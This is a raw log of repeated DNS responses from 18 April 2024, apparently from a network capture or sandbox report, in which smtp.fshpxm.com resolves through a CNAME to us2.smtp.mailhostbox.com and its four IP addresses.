Apr 18, 2024 10:25:17.203258038 CEST	8.8.8.8	192.168.2.22	0xfd45	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:17.203258038 CEST	8.8.8.8	192.168.2.22	0xfd45	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:17.203258038 CEST	8.8.8.8	192.168.2.22	0xfd45	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:17.203258038 CEST	8.8.8.8	192.168.2.22	0xfd45	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:17.308247089 CEST	8.8.8.8	192.168.2.22	0xfd45	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:17.308247089 CEST	8.8.8.8	192.168.2.22	0xfd45	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:17.308247089 CEST	8.8.8.8	192.168.2.22	0xfd45	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:17.308247089 CEST	8.8.8.8	192.168.2.22	0xfd45	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:17.308247089 CEST	8.8.8.8	192.168.2.22	0xfd45	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:17.412888050 CEST	8.8.8.8	192.168.2.22	0xfd45	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:17.412888050 CEST	8.8.8.8	192.168.2.22	0xfd45	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:17.412888050 CEST	8.8.8.8	192.168.2.22	0xfd45	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:17.412888050 CEST	8.8.8.8	192.168.2.22	0xfd45	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:17.412888050 CEST	8.8.8.8	192.168.2.22	0xfd45	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:17.518621922 CEST	8.8.8.8	192.168.2.22	0xfd45	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:17.518621922 CEST	8.8.8.8	192.168.2.22	0xfd45	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:17.518621922 CEST	8.8.8.8	192.168.2.22	0xfd45	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:17.518621922 CEST	8.8.8.8	192.168.2.22	0xfd45	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:17.518621922 CEST	8.8.8.8	192.168.2.22	0xfd45	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.578928947 CEST	8.8.8.8	192.168.2.22	0xbe92	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:18.578928947 CEST	8.8.8.8	192.168.2.22	0xbe92	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.578928947 CEST	8.8.8.8	192.168.2.22	0xbe92	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.578928947 CEST	8.8.8.8	192.168.2.22	0xbe92	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.578928947 CEST	8.8.8.8	192.168.2.22	0xbe92	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.683840036 CEST	8.8.8.8	192.168.2.22	0xbe92	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:18.683840036 CEST	8.8.8.8	192.168.2.22	0xbe92	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.683840036 CEST	8.8.8.8	192.168.2.22	0xbe92	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.683840036 CEST	8.8.8.8	192.168.2.22	0xbe92	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.683840036 CEST	8.8.8.8	192.168.2.22	0xbe92	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.788434982 CEST	8.8.8.8	192.168.2.22	0xbe92	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:18.788434982 CEST	8.8.8.8	192.168.2.22	0xbe92	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.788434982 CEST	8.8.8.8	192.168.2.22	0xbe92	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.788434982 CEST	8.8.8.8	192.168.2.22	0xbe92	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.788434982 CEST	8.8.8.8	192.168.2.22	0xbe92	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.876569033 CEST	8.8.8.8	192.168.2.22	0x82b5	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:18.876569033 CEST	8.8.8.8	192.168.2.22	0x82b5	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.876569033 CEST	8.8.8.8	192.168.2.22	0x82b5	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.876569033 CEST	8.8.8.8	192.168.2.22	0x82b5	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.876569033 CEST	8.8.8.8	192.168.2.22	0x82b5	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.893927097 CEST	8.8.8.8	192.168.2.22	0xbe92	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:18.893927097 CEST	8.8.8.8	192.168.2.22	0xbe92	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.893927097 CEST	8.8.8.8	192.168.2.22	0xbe92	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.893927097 CEST	8.8.8.8	192.168.2.22	0xbe92	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.893927097 CEST	8.8.8.8	192.168.2.22	0xbe92	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.981931925 CEST	8.8.8.8	192.168.2.22	0x82b5	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:18.981931925 CEST	8.8.8.8	192.168.2.22	0x82b5	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.981931925 CEST	8.8.8.8	192.168.2.22	0x82b5	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.981931925 CEST	8.8.8.8	192.168.2.22	0x82b5	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.981931925 CEST	8.8.8.8	192.168.2.22	0x82b5	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.998943090 CEST	8.8.8.8	192.168.2.22	0xbe92	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:18.998943090 CEST	8.8.8.8	192.168.2.22	0xbe92	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.998943090 CEST	8.8.8.8	192.168.2.22	0xbe92	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.998943090 CEST	8.8.8.8	192.168.2.22	0xbe92	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:18.998943090 CEST	8.8.8.8	192.168.2.22	0xbe92	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:19.086460114 CEST	8.8.8.8	192.168.2.22	0x82b5	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:19.086460114 CEST	8.8.8.8	192.168.2.22	0x82b5	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:19.086460114 CEST	8.8.8.8	192.168.2.22	0x82b5	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:19.086460114 CEST	8.8.8.8	192.168.2.22	0x82b5	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:19.086460114 CEST	8.8.8.8	192.168.2.22	0x82b5	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:19.191555977 CEST	8.8.8.8	192.168.2.22	0x82b5	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:19.191555977 CEST	8.8.8.8	192.168.2.22	0x82b5	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:19.191555977 CEST	8.8.8.8	192.168.2.22	0x82b5	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:19.191555977 CEST	8.8.8.8	192.168.2.22	0x82b5	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:19.191555977 CEST	8.8.8.8	192.168.2.22	0x82b5	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:19.296025038 CEST	8.8.8.8	192.168.2.22	0x82b5	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:19.296025038 CEST	8.8.8.8	192.168.2.22	0x82b5	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:19.296025038 CEST	8.8.8.8	192.168.2.22	0x82b5	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:19.296025038 CEST	8.8.8.8	192.168.2.22	0x82b5	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:19.296025038 CEST	8.8.8.8	192.168.2.22	0x82b5	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:19.955492973 CEST	8.8.8.8	192.168.2.22	0x152e	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:19.955492973 CEST	8.8.8.8	192.168.2.22	0x152e	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:19.955492973 CEST	8.8.8.8	192.168.2.22	0x152e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:19.955492973 CEST	8.8.8.8	192.168.2.22	0x152e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:19.955492973 CEST	8.8.8.8	192.168.2.22	0x152e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:20.060045958 CEST	8.8.8.8	192.168.2.22	0x152e	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:20.060045958 CEST	8.8.8.8	192.168.2.22	0x152e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:20.060045958 CEST	8.8.8.8	192.168.2.22	0x152e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:20.060045958 CEST	8.8.8.8	192.168.2.22	0x152e	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:20.060045958 CEST	8.8.8.8	192.168.2.22	0x152e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:20.176865101 CEST	8.8.8.8	192.168.2.22	0x152e	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:20.176865101 CEST	8.8.8.8	192.168.2.22	0x152e	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:20.176865101 CEST	8.8.8.8	192.168.2.22	0x152e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:20.176865101 CEST	8.8.8.8	192.168.2.22	0x152e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:20.176865101 CEST	8.8.8.8	192.168.2.22	0x152e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:20.281358004 CEST	8.8.8.8	192.168.2.22	0x152e	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:20.281358004 CEST	8.8.8.8	192.168.2.22	0x152e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:20.281358004 CEST	8.8.8.8	192.168.2.22	0x152e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:20.281358004 CEST	8.8.8.8	192.168.2.22	0x152e	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:20.281358004 CEST	8.8.8.8	192.168.2.22	0x152e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:20.386228085 CEST	8.8.8.8	192.168.2.22	0x152e	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:20.386228085 CEST	8.8.8.8	192.168.2.22	0x152e	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:20.386228085 CEST	8.8.8.8	192.168.2.22	0x152e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:20.386228085 CEST	8.8.8.8	192.168.2.22	0x152e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:20.386228085 CEST	8.8.8.8	192.168.2.22	0x152e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.403492928 CEST	8.8.8.8	192.168.2.22	0xae52	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:21.403492928 CEST	8.8.8.8	192.168.2.22	0xae52	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.403492928 CEST	8.8.8.8	192.168.2.22	0xae52	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.403492928 CEST	8.8.8.8	192.168.2.22	0xae52	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.403492928 CEST	8.8.8.8	192.168.2.22	0xae52	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.508846045 CEST	8.8.8.8	192.168.2.22	0xae52	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:21.508846045 CEST	8.8.8.8	192.168.2.22	0xae52	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.508846045 CEST	8.8.8.8	192.168.2.22	0xae52	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.508846045 CEST	8.8.8.8	192.168.2.22	0xae52	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.508846045 CEST	8.8.8.8	192.168.2.22	0xae52	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.614125967 CEST	8.8.8.8	192.168.2.22	0xae52	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:21.614125967 CEST	8.8.8.8	192.168.2.22	0xae52	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.614125967 CEST	8.8.8.8	192.168.2.22	0xae52	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.614125967 CEST	8.8.8.8	192.168.2.22	0xae52	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.614125967 CEST	8.8.8.8	192.168.2.22	0xae52	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.698522091 CEST	8.8.8.8	192.168.2.22	0xa706	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:21.698522091 CEST	8.8.8.8	192.168.2.22	0xa706	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.698522091 CEST	8.8.8.8	192.168.2.22	0xa706	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.698522091 CEST	8.8.8.8	192.168.2.22	0xa706	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.698522091 CEST	8.8.8.8	192.168.2.22	0xa706	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.726119041 CEST	8.8.8.8	192.168.2.22	0x60b5	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:21.726119041 CEST	8.8.8.8	192.168.2.22	0x60b5	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.726119041 CEST	8.8.8.8	192.168.2.22	0x60b5	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.726119041 CEST	8.8.8.8	192.168.2.22	0x60b5	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.726119041 CEST	8.8.8.8	192.168.2.22	0x60b5	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.803601027 CEST	8.8.8.8	192.168.2.22	0xa706	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:21.803601027 CEST	8.8.8.8	192.168.2.22	0xa706	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.803601027 CEST	8.8.8.8	192.168.2.22	0xa706	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.803601027 CEST	8.8.8.8	192.168.2.22	0xa706	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.803601027 CEST	8.8.8.8	192.168.2.22	0xa706	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.840003967 CEST	8.8.8.8	192.168.2.22	0x60b5	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:21.840003967 CEST	8.8.8.8	192.168.2.22	0x60b5	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.840003967 CEST	8.8.8.8	192.168.2.22	0x60b5	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.840003967 CEST	8.8.8.8	192.168.2.22	0x60b5	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.840003967 CEST	8.8.8.8	192.168.2.22	0x60b5	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.909017086 CEST	8.8.8.8	192.168.2.22	0xa706	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:21.909017086 CEST	8.8.8.8	192.168.2.22	0xa706	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.909017086 CEST	8.8.8.8	192.168.2.22	0xa706	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.909017086 CEST	8.8.8.8	192.168.2.22	0xa706	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.909017086 CEST	8.8.8.8	192.168.2.22	0xa706	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.953030109 CEST	8.8.8.8	192.168.2.22	0x60b5	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:21.953030109 CEST	8.8.8.8	192.168.2.22	0x60b5	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.953030109 CEST	8.8.8.8	192.168.2.22	0x60b5	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.953030109 CEST	8.8.8.8	192.168.2.22	0x60b5	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:21.953030109 CEST	8.8.8.8	192.168.2.22	0x60b5	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:22.013854027 CEST	8.8.8.8	192.168.2.22	0xa706	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:22.013854027 CEST	8.8.8.8	192.168.2.22	0xa706	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:22.013854027 CEST	8.8.8.8	192.168.2.22	0xa706	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:22.013854027 CEST	8.8.8.8	192.168.2.22	0xa706	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:22.013854027 CEST	8.8.8.8	192.168.2.22	0xa706	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:22.058188915 CEST	8.8.8.8	192.168.2.22	0x60b5	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:22.058188915 CEST	8.8.8.8	192.168.2.22	0x60b5	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:22.058188915 CEST	8.8.8.8	192.168.2.22	0x60b5	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:22.058188915 CEST	8.8.8.8	192.168.2.22	0x60b5	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:22.058188915 CEST	8.8.8.8	192.168.2.22	0x60b5	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:22.118887901 CEST	8.8.8.8	192.168.2.22	0xa706	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:22.118887901 CEST	8.8.8.8	192.168.2.22	0xa706	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:22.118887901 CEST	8.8.8.8	192.168.2.22	0xa706	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:22.118887901 CEST	8.8.8.8	192.168.2.22	0xa706	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:22.118887901 CEST	8.8.8.8	192.168.2.22	0xa706	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:22.163604021 CEST	8.8.8.8	192.168.2.22	0x60b5	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:22.163604021 CEST	8.8.8.8	192.168.2.22	0x60b5	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:22.163604021 CEST	8.8.8.8	192.168.2.22	0x60b5	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
